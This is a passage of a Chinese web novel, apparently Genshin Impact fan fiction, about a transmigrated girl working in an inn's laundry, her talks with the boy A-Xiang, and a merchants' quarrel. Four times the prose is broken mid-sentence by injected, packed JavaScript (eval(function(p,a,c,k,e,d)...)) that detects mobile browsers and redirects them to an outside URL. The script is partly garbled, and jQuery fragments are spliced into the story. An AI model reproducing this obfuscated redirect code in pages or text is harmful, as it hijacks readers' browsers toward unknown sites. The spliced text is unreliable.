;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307615|198725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,实实在在的两百摩拉。 “喂。” 身后有人叫她。 朗樾转身,看见阿响站在院门边。他还是那身旧布衣,袖口挽着,手里提个空竹篮,篮子随意甩来甩去,带着股漫不经心。 夕阳照在他脸上,让那双总是空茫的眼睛添了些暖色。 “阿响?”朗樾有点意外。 阿响没立刻说话,歪着头打量她,目光在她湿透的袖口和通红的手上停了停。“你在这里工作。”他说,语气是陈述,不是问。 “嗯,临时顶几天。”朗樾点点头,不知为什么有点紧张。阿响在的时候,她总觉得有种说不清的异样——不是危险,而是一种……偏离常态的感觉。 “哦。”阿响应了一声,然后沉默,手里的篮子不晃了。 他就那么站着,像在想什么,又像只是发呆。 朗樾等了一会儿,见他没有要走的意思,试探着问:“你……是来拿东西的?” 阿响眨眨眼,像才想起手里的篮子。“嗯。尹管事让我来拿些洗好的抹布。”他朝朗樾身后晾衣架上那排灰色布块扬了扬下巴,“厨房用的。” “那些已经干了,我帮你收。”朗樾说着,转身去收抹布。她动作很快,叠好,放进阿响的篮子里。 “谢谢。”阿响接过篮子,却没立刻走。他又看了朗樾一眼,忽然说:“你的‘光’……比昨天稳定了。” 朗樾一愣。“光?什么光?” 阿响没解释,只是微微皱眉,像在找合适的词。“就是……缠在你周围的那些线。之前很乱,今天顺了一点。”他顿了顿,又说,“但还是不对。和这里的人不一样。” 朗樾心跳猛地快了。她想起之前阿响在平台上那些关于光的自言自语,当时她只当是胡话,可现在…… “你……能看到什么?”她磕巴了一下,问。 阿响看着她,眼神清澈得近乎透明。“就是‘光’啊。每个人周围都有,像雾气,又像丝线。你的特别乱,特别……亮。”他歪了歪头,“你不舒服吗?” “我……”朗樾张了张嘴,不知怎么答。她能说什么?说她是穿越者?说她有重生能力?说她自己也搞不清自己是什么? 阿响等了几秒,见她不说话,就点点头,像得到了答案,说的却是另一个话题:“嗯,去北边……那边更适合你。” 又是北边。朗樾更是茫然。 她想起昨天阿响的建议:“你应该往北边走。” “为什么是北边?”她忍不住问。 阿响想了想,摇头。“不知道。就是感觉。”他提起篮子,“我该回去了。刘管事等着用抹布。” 他转身要走,朗樾急忙叫住:“阿响!” 少年停下,回头看她。 “你……经常看到这些‘光’吗?”朗樾轻声问。 阿响点头。“一直都能看到。”他说,语气里没有自豪,也没有困扰,就像在说一件再普通不过的事,“从小就能。” 然后他走了,拖着那个装抹布的竹篮,身影很快消失在渐浓的暮色里。 朗樾站在原地,久久没动。晚风吹过,晾衣架上的衣物轻轻摆动,发出细微的摩擦声。岩顶的灯更亮了,倒映在下面的水面上,碎成一片晃动的光斑。 11. 第 11 章 你看着我做什么 她低头看向自己的双手——那双在热水里泡得通红、布满细小伤口的手,越发困惑。在阿响眼中,她到底是什么?一团混乱而明亮的光?一个与周围格格不入的存在? 还有“西边”。为什么阿响两次提到西边?那里有什么? 疑问像藤蔓一样缠绕上来。但朗樾没时间深究。张嫂的喊声从洗衣堂里传来:“朗樾!收拾完了没?关门了!” “来了!”她应了一声,强迫自己收回思绪。 回到洗衣堂,做完最后的打扫。张嫂递给她今天的工钱,又叮嘱了几句明天的事。女工们陆续离开,互相道别,约着明天见。 朗樾最后一个走出来。她锁上门,把钥匙交给守夜的老头,然后走向自己的储物间。 夜色完全降临。望舒客栈的灯火在头顶闪烁,像倒悬的星空。码头上还有零星的人声,但很快也会归于寂静。 朗樾推开储物间的门,在黑暗中摸索着躺下。草席的粗糙感透过薄薄的布料传来,身下的干草发出细微的窸窣声。 她闭上眼睛,但阿响的话在脑子里挥之不去。 “你的‘光’……比昨天稳定了一些。” “但还是不对。和这里的人不一样。” 在这个她刚刚开始感到一丝安稳的世界里,似乎还有更多她无法理解的东西。 ———————————————— 朗樾把最后一件浆洗好的被套拧干时,刘管事的声音从洗衣堂门口传来:“新来的……那个,阿月。” “在。”她赶紧转过身。刘管事今天穿了件深褐色的粗布褂子,袖口扎得紧实,手里拿着一卷单据。 “你去前面尹管事那儿跑一趟,”刘管事说,“跟他说我这里的账理得差不多了,等他也得空就一起上去跟掌柜回话。记得客气些。” “好。”朗樾嘴上应着,心里却犯起嘀咕——她才来几天,连人都没认全,刘管事怎么就点名让她去传话?但抬头对上那张一贯严肃的脸,她没敢多问,只问清了尹管事的所在,便匆匆去了。 找到地方,传完话,她又一路小跑着回来。 回到洗衣堂,刘管事正站在那架绞干被褥的木质辘轳旁,弯腰检查摇把与主轴连接的铁质插销——那里锈得厉害,摇把松旷,咬合时发出“咯啦”一声涩响。她眉头紧锁,显然在评估这玩意儿还能不能撑住下一把劲儿。 朗樾忙凑过去回道:“尹管事说,如果您这边得空,巳时三刻在升降台那儿等您。” 说“巳时三刻”时她舌头打了个结——当时尹管事说出这个词,她愣是没反应过来,对方眯着眼看了她好几息,盯得她差点找个地方钻进去。 可这能怪她吗?张婶她们平时也都说“几点几点”,她脑子里那根弦还绷在现代时间上呢,谁想到这些人突然就切换回古文模式了? ——都怪某游戏公司!游戏里的NPC们一些说时辰一些说时点也就罢了,现在她都穿过来了,怎么还这样?欺负人没文化么?! 刘管事点点头,说了句“知道了”,便继续盯着那处磨损。朗樾见没别的吩咐,默默拿起木槌,跟小翠她们一起捶打起新一批床单。 “阿月,刚才刘管事找你什么事?”小翠一边捶打,一边随口问道。 “去尹管事那儿传个话。”朗樾简短回答,不想多说。 “尹管事啊……”小翠砸了砸嘴,道,“那是个精明人哩。我听说但凡货物有问题,一准儿逃不过他的法眼。” 阿芳难得开口,声音低低的:“他看人也凶得很。” “凶?他哪里凶了?还没有刘管事凶。” “哎呀,我不是说他态度凶,我是说他的眼睛——厉害得很。每次他看我,我都觉得害怕,像要把人看透了似的。上回我去后勤那边领皂角,路上正好遇到尹管事,他什么也没说,就那么看了我一眼,我心里直打鼓,走路都快不会走了。” 朗樾听着她们闲聊,思绪却渐渐飘远。 阳光透过棚顶的缝隙洒下来,在水面上碎成一片晃动的光斑。她忽然想起阿响说的“光”——每个人周围都有,像雾气,又像丝线。 她偷偷抬眼看了看小翠和阿芳。在阿响眼中,她们周围的“光”是什么样子?稳定?柔和?还是也像自己一样混乱? “喂,阿月,发什么呆呢?”小翠的声音把她拉回来,“力道轻了,这样洗不干净。” “抱歉。”朗樾连忙调整力道。 大半个上午,就在重复的捶打和搓洗中过去了。 十点半左右,张嫂走到朗樾身边:“阿月,过来。” 朗樾放下木槌,跟着张嫂走到熨烫区。这里摆着几个炭火熨斗和宽大的木板,空气里飘着淡淡的焦味——那是熨斗太热时不小心烫到布边的味道。 “早上刘管事交代了,”张嫂一边整理熨斗一边说,“说你学得快,肯干,让我多教些。从今天开始,你每天抽一个时辰学熨烫。” 她拿起一个熨斗,在手边试了试温度,开始示范:如何控制炭火,如何顺着纹理走,如何让皱巴巴的布料在一遍遍熨烫下变得平整服帖。“这活儿讲究耐心和眼力,”她说,“温度太高会烫坏,太低又熨不平。刚开始慢点没关系,别心急。” 朗樾学得很认真。她发现熨烫比捶打更需要专注——手要稳,眼要准,心要静。当一块满是褶皱的桌布在她手下一点点变得平整光滑时,她竟生出一种奇异的满足感。 “不错,手挺稳。”张嫂看了一会儿,点点头,“好好学,等你能独立熨烫了,工钱每天加五十个摩拉。” “谢谢张嫂。”朗樾真心实意地道谢。五十个摩拉,听起来不多,但对她来说,意味着离真正的安稳更近一步。 教学持续到中午。张嫂说“好了,先去吃饭”时,朗樾才发觉肚子已经饿了。 午饭她照例多添了一碗——晚上食堂不开伙,得在中午吃够本。 她端着碗蹲在伙房外的墙根下,就着咸菜把饭扒进嘴里,听着周围女工们东家长西家短地闲聊,有人抱怨自家男人不顶事,有人念叨孩子不听话,还有人在说昨天岩顶来了个出手阔绰的商人,给小费都是整把的摩拉。 朗樾只是听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307616|198725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,不插话,把饭吃得一粒不剩。 日子一天天过去。 每天都是天不亮就醒,摸黑穿好衣服,去伙房领粥。粥还是那么稀,蒸饼还是那么小,但朗樾已经习惯了。喝完粥,天刚蒙蒙亮,洗衣堂的院子里晾衣架的黑影还看不太清,她就站在井边打水,一桶一桶往大池子里倒。 等水满了,女工们也陆续来了。一天的活儿就这么开始。 她学会了看布下菜——细棉的床单不能跟麻布的一起捶,绸缎枕套得单独过温水,桌布上的酒渍要先涂皂角粉闷一会儿再搓。张嫂夸过她几次,说手稳,学得快。熨烫也慢慢上手了,虽然偶尔还会留下水渍印,但至少不会再烫出焦痕。 每天傍晚收工,她把工钱数一遍,两百五十个摩拉,一个不多一个不少,塞进墙角砖后面的布囊里。布囊越来越鼓,摸着心里就踏实。 直到有一天中午吃饭时,她听见了王婶的声音。 就是那个引荐她来洗衣堂的妇人——朗樾后来才知道她叫王婶。王婶不是客栈的工人,平时几乎不来。今天特意跑这一趟,正跟旁桌几个女工闲聊,嗓门亮得很: “……我家那丫头,脚好多了,大夫说再养个七八天就能下地。”王婶的语气里透着轻松,“可算能回来上工了,在家闲着也是闲着急。” 朗樾握着筷子的手顿了顿,然后继续夹菜,若无其事地嚼。 米粒在嘴里变得干涩无味。 七八天。 她悄悄算了算自己来洗衣堂的日子——已经第十天了。顶工的日子,正在倒计时。 她低下头,加快吃饭的速度。胃里沉甸甸的,却感觉不到饱。 下午熨烫时,她格外用力。熨斗划过布料的嘶嘶声比平日更响,像是在跟什么较劲。 张嫂走过来看了一眼:“悠着点,布料要烫坏了。” “抱歉。”朗樾放轻力道,但指尖绷得发白。 傍晚收工时,她在后院晾最后一批手巾。 夕阳把她的影子投在晾衣架间的地面上,随着她的动作变形,拉长,又缩短。她盯着那些飘来飘去的织物,忽然有点恍惚——这些洗干净的布,明天就会被送到岩顶的客房,铺在陌生人床上,擦陌生人的手。 而她呢,可能连留在这儿洗它们的资格都快没了。 “阿月。” 声音从身后传来,很轻。 朗樾转过身。阿响站在院门边,还提着那个竹篮,篮子里空空的。他今天换了件厚点的灰褐色短褂,袖口磨得起了毛边。 她看着他,没说话。 阿响自己走了进来,没像往常那样去拿晾好的抹布,而是站到她旁边,歪着头看她。 朗樾忽然觉得一股火气从胃里往上蹿。 她也不知道自己在气什么——气王婶那番话?气自己只是个随时可以被顶掉的临时工?气这见鬼的提瓦特让她穿过来却不肯给她一条安稳的路?还是气这个傻子偏偏这时候站过来,歪着脑袋,用那种空茫茫的眼神盯着她? 她几乎是咬着牙冲他开口的:“你看着我做什么?” 12. 第 12 章 谢谢你看见我 话一出口她就后悔了。 阿响的眼神依旧是那种空茫茫的清澈,没有惊讶,没有受伤,甚至没有一丝情绪波动。他只是眨了眨眼,像是不太明白她为什么这样问。 “因为你在难过。”他说,语气平常得像在说今天天气。 “我没有。”朗樾飞快地反驳,转过身继续晾手巾。木夹捏得太紧,粗糙的边缘硌得掌心生疼。 “你有。”阿响的声音从身后传来,不急不缓,“你的‘光’在缩,缩得很紧,像要碎掉。” 朗樾手一抖,刚夹上的手巾又落回地上。这次她没有立刻去捡,而是站在原地,背对着阿响,肩膀绷得僵直。 “你不懂。”她听见自己的声音,硬邦邦的,“你什么都不懂。” 阿响没有说话。院子里只剩下晚风穿过晾衣架的细微声响,远处码头的喧哗已经淡下去,变成模糊的一片。 过了好一会儿,朗樾才蹲下身,捡起那条手巾。布料沾了土,她用力拍打,灰尘在夕阳的光束里飞舞起来,又慢慢落下去。 “我是不懂。” 阿响的声音忽然很近。朗樾抬起头,发现他不知道什么时候已经走到她身边,也蹲了下来。两人隔着一步的距离,他单薄的身影被夕阳拉长,和她的影子交叠在一起。 “我不懂你为什么难过,”阿响继续说,眼睛看着地上那团交叠的影子,“不懂你为什么要把‘光’收得那么紧,好像怕它漏出来。” 他顿了顿,转过头看她。那张总是没什么表情的脸上,此刻有种认真的神色。 “但我能看见。”他说,“你很难过。像有人在水里扔石头,水波一圈圈荡开,停不下来。” 朗樾看着他,喉咙发紧。 阿响的眼睛太干净了,干净得像深潭的水,能一眼望到底。可那潭水里映出的不是她的倒影,是她自己看不见的东西——那些她拼命想藏起来的、关于不安和恐惧的一切。 “我不需要你看见。”她听见自己说,声音有些发颤。 阿响歪了歪头:“可是我已经看见了。” 他说得那么理所当然,朗樾竟不知该怎么接话。 两人沉默地蹲在那里。夕阳又往下沉了一些,光线从橙红变成暗金,把整个院子染成暖的,却透着一层凉意。 “你要走了吗?”阿响忽然问。 朗樾一愣:“什么?” “王婶的女儿,脚快好了。”阿响说,语气依旧平静,“洗衣堂不要那么多人。” 原来他知道。 朗樾垂下眼睛,手指无意识地摩挲着手巾粗糙的边缘。 “嗯。”她轻声应道。 “那你要去哪里?”阿响问。 朗樾摇摇头:“不知道。” “北边。”阿响说。 又是北边。朗樾抬起头:“你为什么总说北边?” 阿响茫然的抬头,好一会儿,才说:“因为……你应该去那里。” “为什么我应该去那里?” 阿响摇摇头:“不知道。” 这回答等于没有回答。可朗樾看着他的脸,忽然觉得,他不是不想说,他是真的不知道——不知道为什么能看见“光”,不知道为什么她的“光”和别人不一样,不知道为什么总想让她往北边走。 他只是看见,然后说出来。 朗樾忽然觉得很累。那股莫名其妙的愤怒不知什么时候散了,只剩下疲惫,从骨头缝里渗出来。 她把那条沾了土的手巾重新夹上衣架,动作很慢。 “阿响。”她说。 “嗯?” “你为什么……要帮我?” 阿响眨了眨眼,像是没听懂。 “给我吃的,告诉我‘光’的事,现在又跟我说这些。”朗樾转过头看着他,“为什么?” 阿响认真地想了想。 “因为你的‘光’很真。”他说。 “真?” “嗯。”阿响点点头,“像山里的泉水,没被人搅浑过。虽然现在有点乱,但底下还是清的。” 他顿了顿,补充道:“而且你在发光。虽然你自己不知道。” 朗樾不知道该说什么。 这些话太奇怪了。可阿响说出来的样子那么笃定,好像“发光”和“天会黑”一样,是再自然不过的事。 她站起身,拍了拍膝盖上的土。阿响也跟着站起来,动作有点笨拙。 “我要回去了。”朗樾说,“张嫂还等着关门。” 阿响点点头,转身去拿晾好的抹布。他叠得很仔细,每块都对齐边角,叠成整齐的小方块,放进竹篮里。 朗樾看着他单薄的背影。 “阿响。” 他回过头。 “谢谢。”她说,“谢谢你看见我。” 这话说得很轻,轻得几乎要被晚风吹散。 但阿响听见了。 他微微睁大眼睛,那双总是空茫的眼睛里,第一次有了清晰的情绪——一丝困惑,一丝不解,还有一点什么,像是被什么东西轻轻烫了一下。 “……不谢。”他小声说。 然后他提起篮子,转身走了。 这次他走得有点急,脚步凌乱,差点在门槛上绊倒。 朗樾站在院子里,看着他的背影消失在暮色里。 晚风更凉了。她抱紧手臂,感觉到粗布衣下皮肤起的鸡皮疙瘩。 那句“谢谢”说出口之后,她心里那团乱麻似的情绪,好像松了一点点。 不是因为阿响的话解答了她的困惑——那些关于“光”、关于北边,依然悬在那里。 而是因为,在这个陌生的世界里,有一个人,用一种她完全无法理解的方式,看见了她。 不是看见她洗了多少衣服,不是看见她攒了多少摩拉。 是看见她“在发光”。 即使她不知道那是什么意思。 —————————————————————— 朗樾转身走回洗衣堂。 张嫂已经在收拾最后一处了,见她进来,点了点头:“收拾完了就回吧,明天早点来,有一批加急的。” “好。”朗樾应道。 她回到储物间,关上门。 黑暗涌过来。这间小屋她已经住了十天,熟悉每一处轮廓——门闩的位置,墙角的干草堆,那块可以躺平的木板,还有藏着布囊的那块松动的砖。 她没有点灯。 蹲下身,摸到那块砖,撬开,取出布囊。摩拉倒进手心,在黑暗里凭触感开始数。 这是第十天了。每一天的工钱她都仔细收好,从最初的一百摩拉,到后来学熨烫后的两百五十枚。一枚,两枚……指尖划过金属冰凉的边缘。一百,两百,三百…… 两千两百五十。 朗樾把这个数字在心里念了一遍。 十天,两千两百五十摩拉。客栈管早、中两顿饭,这笔钱是她硬攒下来的。晚上再饿也舍不得花——她宁可摸黑去码头跟野猫抢被挑剩下的杂鱼和虾来煮着吃,也不舍得买一个饼。 两千两百五十摩拉,够买什么呢? 三十个饼。省着点吃,一天半个,能撑六十天。如果一天吃一个,只够一个月。 而她这份工,可能只剩七八天了——也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307617|198725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许更短。 朗樾没有立刻把钱装回去,而是摊在手心里,一枚一枚重新摸过。这些摩拉大小一致,新旧不同——新的边缘锐利,硌手;旧的被摸得光滑。 就算离开时有四千摩拉,可也不能只用来买饼。洗衣堂这个储物间是白住的,离了这里,哪怕客栈最便宜的大通铺,也要一百二十摩拉一晚——她根本住不起几天。 想到这里,朗樾握紧手里的摩拉。 金属硌得掌心生疼。 两千多钱,听起来是个不小的数字。可在这个世界里,它薄得像一层窗户纸,一捅就破。 她把摩拉一枚枚装回布囊,动作很慢。 脑子却在飞快地转。 七天。她还有七天时间。 这七天里,她必须做足准备。 首先,得尽可能从伙食里省。早中饭都是客栈管,她可以多喝点粥,尽量悄悄留下最容易保存的饼——压在碗底,藏进袖子里,带回储物间晾干。这样万一离开后暂时找不到活,至少有点存粮。 其次,得打听清楚北边的情况。阿响总说北边,可北边到底有什么?村落?驿站?还是荒野?路上要走几天?有没有能落脚的地方?这些信息,她必须在这几天里问出来——问阿响,或者找机会跟那些赶驮兽的脚夫、跑船的码头工搭话。 还有最实际的:找新活计。 码头、厨房、甚至客栈里其他杂务,都得去打听。哪怕工钱低,哪怕不管住,只要管饭,就能让她多撑一段时间。实在不行,璃月港呢?那座她在游戏里无数次传送的大城市,离这里有多远?要走几天?路上安全吗? 这些问题一个接一个从心底冒出来。 装完最后一枚摩拉,她把布囊塞回砖后,没有立刻躺下。 她坐在草席上,背靠着冰冷的墙壁。 眼睛已经适应了黑暗。她能模糊看见墙角叠着的那套卫衣牛仔裤——从王婶那里要回来的,洗干净了但没敢穿,款式太扎眼;门后挂着的那顶旧草帽,前两天张嫂给的,说太阳大时戴着;还有自己在河边捡来的一块石头,相对平滑,晚上当枕头用。 寒酸得可怜。 可这就是她全部的家当。 朗樾闭上眼睛,吸了口气。 空气里有灰尘味,干草味,皂角味,还有自己身上淡淡的汗味。这些味道混在一起,成了她这十天生活的全部气息——一种简陋的、踏实的、随时可能消失的气息。 她忽然想起第一天来洗衣堂时。 那时候手里只有五十个摩拉,觉得有个地方躺、有顿饱饭吃,就是天大的幸运。 现在她有两千多摩拉,有了一套换洗衣服,学会了熨烫,认识了阿响,知道了“光”和“北边”…… 可她却比第一天更焦虑。 因为得到过,才知道失去有多可怕。 因为短暂地安稳过,才知道流浪和生死一线有多让人恐惧。 朗樾睁开眼,在黑暗里握紧拳头。 不能慌。慌没有用。 她还有七天。七天时间,足够她做很多事:打听消息,寻找机会,做好准备。 七天后,无论王婶的女儿回不回来,无论她能不能继续留在洗衣堂,她都必须有下一步的计划。 她必须活下去。 不是为了什么宏大的目标,不是为了什么“穿越者的使命”。 只是活着。 像一条河里的鱼,像一棵石缝里的草,像任何一个只是想活下去的人一样,活下去。 外面传来码头的最后几声喧哗,然后渐渐归于寂静。 朗樾躺下来,把石头挪到颈下,闭上眼睛。 13. 第13章 初遇钟离 朗樾变得更“活络”了。 上工时依旧沉默寡言,但眼里有活儿了。 张嫂吩咐一句,她能想到后面两步,主动把皂角备好,把竹筐挪空。送还熨烫好的客用织物时,也不再低着头匆匆来去——她开始记不同区域的位置,记负责伙计的长相。偶尔遇上对方忙不过来,就安静地搭把手,搭两句话。 她想接触更多人。想听到更多消息。 但她好像太急了些。 这天经过刘管事旁边,被叫住了。 “阿月。”刘管事理着一件客用长衫,头也不抬,声音不亮,“这两天,你往库房和上面跑得挺勤。” 朗樾心里一跳,低头:“是……想着多学点,帮张嫂她们分担分担。” 刘管事终于抬头看了她一眼,又收回目光,淡淡道:“行吧。” 顿了顿。 “北边‘静怡廊’那头的交接室,壁橱里该换一批客用桌帷了。之前洗好熨妥的那批,暗金色云纹的。”她语气平铺直叙,“你清点清楚数目,用推车送过去,整整齐齐码进壁橱,在交接簿上签好字。” 说到这里,语气重了些。 “记住,那是客房部和咱们堂交接的地方。你只交东西,不许多话,更不许东张西望。那边廊口开阔,挨着客人吃茶的‘听松阁’,动静可能杂些——你只管低头做你的事,做完立刻回来。明白?” “是,刘管事。我记下了。” 朗樾垂下眼。 她知道,自己这两天的急切,有点太惹眼了。 整个望舒客栈,并不像表面这样只是个单纯的客栈。来历不明,身份模糊,她这个人本就经不起查。 跟张嫂交待清楚后,她推着那辆特制的宽大藤编收纳车出发了。 车里装着十幅桌帷,沉甸甸的,暗金色云纹,熨烫得没有一丝褶皱。 她沿着岩壁内侧一条相对清静的石廊走。这条廊道一半嵌在岩壁里,外侧是雕栏,视野开阔。越往主楼方向走,建筑越显精致,空气里浮着淡淡的檀香和茶香。偶有三两客人从旁经过,穿着得体,仪态不凡。 这是朗樾第一次真正上到主楼来。 她跟一个穿统一迎宾服的少女确认了存放桌帷的壁橱位置,道谢后推车过去。 斜对面不远处,一扇雕花门扉敞开着,门楣上“听松阁”三个字清晰可见——正是刘管事提及的茶室,此刻里面正传来阵阵喧闹。 一个璃月口音的男声因愤怒变了调,厉声吼道:“……伊万诺夫!你必须给我一个解释!” “我们在璃月港谈的时候,看货样时你是怎么说的?‘这是至冬雪原深处百年一遇的晶矿脉心,每一颗‘雪原星钻’都纯净无瑕,配上我们家族工坊传承的秘银掐丝珐琅镶嵌,是献给璃月海灯节最完美的礼物!’——这是你的原话!” “我说过!货样就是标准!” 一个粗粝硬朗、带着异国腔调的男声吼回来,满是被质疑的怒火。 “弗拉基米尔家族从不以次充好!你收到的每一件货,都和你看过、摸过、签了确认书的货样一模一样!” “一模一样?!”璃月商人的声音陡然拔高,几乎破了音,“你管这叫一模一样?!货样的星钻,之前不管在阳光下还是烛火下,都是均匀的冰蓝星光,只是深浅不同!可刚才在日光下细看,至少有十几枚主石侧面有絮状物!还有镶嵌,货样底座的秘银勾边是饱满的‘冬雪纹’,现在呢?纹路浅得几乎看不清,光泽也发闷——你这是用了替代合金!” 朗樾正好走到转角,忍不住循声望了一眼。 视线越过几个围观者的肩头,看到了争执的中心。那个穿璃月绸缎长袍的中年商人,正用微微发抖的手指捏着一枚胸针,另一只手举着一个打开的小锦盒,里面衬着深蓝丝绒,装着作为标准的“货样”。 两枚胸针在光线下并排而列。 说实话,隔这么远,凭她的眼力,根本看不出什么。 她摇摇头,正准备继续推车找路。 更多的人被争吵吸引过来,从各处聚拢,好奇地探头张望,低声议论。人墙迅速增厚,把她连人带车结结实实地堵在了廊道转角,进退不得。 “光线!角度!还有你们璃月潮湿的空气!” 至冬商人弗拉基米尔,一个身材高大、穿着厚重刺绣外套的男人,面红耳赤,指着窗外。 “半年前的阳光和现在这个季节的阳光,能一样吗?絮状物?那是星钻内部的天然生长纹理,是它的灵魂!至于镶嵌——” 他一把夺过璃月商人手中的胸针,动作看似粗鲁,指尖却很稳。 “弗拉基米尔工坊的‘冬雪纹’用的是古老冷锻法,纹路深浅会随光线变化!你以为是你璃月匠人用錾子硬凿出来的死纹路?” “强词夺理!” 璃月商人气得声音发颤。 “好,就算我眼拙,分不清宝石的‘灵魂’和瑕疵,也看不懂你们至冬的‘冷锻法’!可契约就是契约!货不对版,我若收下,交给‘明星斋’的下场就是血本无归,还要赔上多年信誉!这损失你担得起吗?少废话,要么你立刻给我换一批与货样毫无差别的顶级品,要么——” 他深吸一口气,几乎是吼出那个数字: “——你就得赔我这批货总值的三成,作为我的违约赔偿和商誉损失,足足四十万摩拉!现在就拿出现钱!” 四十万摩拉? 朗樾觉得自己幻听了。 “胡说!” 至冬商人的脸庞涨成深红色,巨大的拳头捶在茶桌上,震得杯盏哐当作响。 “无理的挑剔!恶意的压价!货物完全符合约定,是你想趁机毁约,另寻低价货源!想要我赔钱?一个摩拉都没有!你非但得按契约付清剩下的二十五万尾款,还要赔偿你无端质疑、延误交易给我方造成的损失——至少十五万摩拉!否则,咱们就拿着契约去璃月总务司,看看官员大人怎么判!” 二十五万。十五万。 这能买多少个烤饼了。 眼看双方剑拔弩张,情绪即将彻底失控—— 一个洪亮、圆滑、带着明显异国腔调的声音插了进来,打起了圆场: “哎呀呀——!郭老板!伊万诺维奇先生!我亲爱的朋友们!消消气,快快消消气!” 一个穿靛蓝色璃月长衫、外罩一件至冬风格皮质马甲的微胖中年人,动作灵活地挤进两人之间。面皮白净,脸上堆着熟稔而略显夸张的笑容。 这人正是客栈的外联管事阿列克谢·瓦西里耶维奇,熟人都叫他“老列克”。 由于这张异国面孔在望舒客栈的管事里实在惹眼,朗樾哪怕只远远见过一回,也记住了。 老列克张开双臂,做出安抚的姿势。 “您二位都是咱们望舒客栈的贵客,也是生意场上体面的人物,何必为了一些……呃,可能是光线、可能是角度、也可能是一点点理解上的小误差,闹得这么不愉快呢?” 他声音洪亮,试图盖过双方的怒火。 “这‘雪原星钻’是顶顶精细的宝物,咱们光靠眼睛看、嘴巴吵,确实难辨分明。不如这样,我老列克做个中人,咱们先把火气放一放。我立刻去请咱们璃月港宝石行会最德高望重的老师傅,再联系至冬商会驻璃月的鉴定顾问,双方一起,心平气和地重新验看,如何?一切以行家的公论为准!” 这番提议听起来公允,却没能浇灭双方心头的焦灼。 “等不了!” 郭老板急道。 “老列克,你不是不知道,海灯节的商机转瞬即逝!重新鉴定?来来去去多少天?我的客户、我的订单、‘明星斋’的展位,全都等不起!我今天就必须有个断!要么拿到绝对无瑕的货,要么拿到能立刻补上窟窿的现钱!四十万摩拉,一分不能少!” “我也等不起!” 弗拉基米尔怒视着老列克。 “阿列克谢·瓦西里耶维奇!你评评理!我的货没问题,他却想赖掉尾款,还要反咬一口!这是至冬商人的耻辱!我要求立刻履约,支付二十五万摩拉尾款,并为他恶劣的指控和延误道歉、赔偿!十五万摩拉,一个子儿都不能免!” 老列克脸上的笑容有点僵,额角渗出细汗。 他擅长牵线搭桥,处理寻常纠纷。可眼前这局面,金额巨大且责任难辨,双方又寸步不让,还急着要个结果,早已超出了他平时和稀泥的本事。 他搓着手,还想再劝:“这个……二位,这金额实在……是不是再斟酌一下条件?总有办法谈的嘛……” “没法谈!” “必须按我的条件!” 场面再次僵住,甚至比老列克介入前还要紧绷。 围观的人群也感受到那种巨额利益和顽固立场对撞带来的窒息感,议论声低了下去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307618|198725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朗樾却觉得有一种不真实的荒谬感涌上来。 呵。 她玩原神的时候,也一直有上亿摩拉呢。 可现在真正属于她的,只有包裹里区区两千摩拉。 心里不耐烦,她暗自腹诽:摩拉摩拉,让摩拉克斯多造点摩拉不就好了嘛…… 呃。 话也不能这么说。 毕竟—— “摩拉天然是货币,可货币并不天然是摩拉。” 她喃喃说出钟老爷子的至理名言,一时心情有点复杂。 然后,一个沉静的男声,就在她身侧近在咫尺的地方,接了上来。 “此言,倒有些意思。” 声音不大,在她耳中却清晰无比。 她僵住。 极其缓慢地扭过头。 一位身着岩金色长衫的年轻男子,不知何时已立于她身侧。 他身姿挺拔,气度沉凝。明明站在人群边缘,却仿佛将所有嘈杂都隔绝在了无形的屏障之外。 他没有看她,目光仍落在前方僵持的茶室。侧脸轮廓在廊道的光影里显得格外深邃。 仿佛自言自语般,他将那句话又重复了一遍,声音里听不出太多情绪,只余一丝不易察觉的波澜: “……‘货币,凭什么天生就得是摩拉。’” 顿了顿。 他终于转过头。 目光相接的刹那,朗樾感到一种难以言喻的重压。 那双金珀色的眼睛里没有惊讶,没有赞许,只有一种洞悉一切的平静,平静之下,又藏着一丝极其幽微的兴味,似被什么细微的东西触动了一般。 